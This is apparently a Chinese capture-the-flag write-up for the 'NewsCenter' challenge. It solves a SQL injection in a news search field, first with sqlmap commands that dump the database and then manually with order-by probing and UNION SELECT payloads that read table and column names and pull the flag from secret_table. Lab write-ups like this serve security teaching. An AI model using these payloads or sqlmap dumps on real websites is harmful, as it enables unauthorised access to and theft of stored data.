题目来源:攻防世界 NewsCenter
目录
二、sqlmap解题------bp抓包存为txt文件进行爆破
[step 1:search框内随便输入,进行抓包](#step 1:search框内随便输入,进行抓包)
[step 2:抓包后,存到txt文件,进行sqlmap](#step 2:抓包后,存到txt文件,进行sqlmap)
[step 3:-r获取文件,--dump获取flag](#step 3:-r获取文件,--dump获取flag)
[step 1:判断 GET 还是 POST 传参](#step 1:判断 GET 还是 POST 传参)
[step 2:判断注入点类型](#step 2:判断注入点类型)
[step 3:判断字段数 ' 和 # 不可缺少](# 不可缺少)
[step 4:爆表名](#step 4:爆表名)
[step 5:爆列名](#step 5:爆列名)
[step 6:爆具体数据](#step 6:爆具体数据)
本题由于靶机出问题,所以看了很多博主的wp
一、题目
可以看到有注入点,首选sqlmap,其次为手工注入
二、sqlmap解题------bp抓包存为txt文件进行爆破
step 1:search框内随便输入,进行抓包
step 2:抓包后,存到txt文件,进行sqlmap
step 3:-r获取文件,--dump获取flag
方法一:
连接口令:python sqlmap.py -r 文件路径
爆破口令:python sqlmap.py -r 文件路径 --dump
方法二:
①python sqlmap.py -r 文件名 -dbs
②python sqlmap.py -r 文件名 -D 数据库名 --tables
③python sqlmap.py -r 文件名 -D 数据库名 -T 表名 --columns
④python sqlmap.py -r 文件名 -D 数据库名 -T 表名 -C 列名 --dump
可得到flag信息
三、手工注入解题
重点:①需要判断 GET 还是 POST 传参;②判断注入点类型;③尝试万能密码;④尝试联合注入
step 1:判断 GET 还是 POST 传参
搜索新闻初步判定为POST请求,可考虑xss或sql注入
尝试xss注入,而页面没有返回值,且根据源码得js代码没有被过滤,所以无xss漏洞。所以此处为sql注入
step 2:判断注入点类型
键入:1、1''、1' and '1'=1'
均回显正常
键入:1'
出现错误
所以这里是字符注入
step 3:判断字段数 ' 和 # 不可缺少
键入:1' order by 3 #
回显正常
键入:1' order by 4 #
回显错误
故字段数为3
step 4:爆表名
sql
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
发现有两张表:news、secret_table
step 5:爆列名
第一张表:
sql
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
有两列:id、fl4g
第二张表:
sql
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#
有三列:id、title、content
step 6:爆具体数据
flag应该在secret_table表的fl4g列中
sql
1' union select 1,2,fl4g from secret_table #
可得到flag信息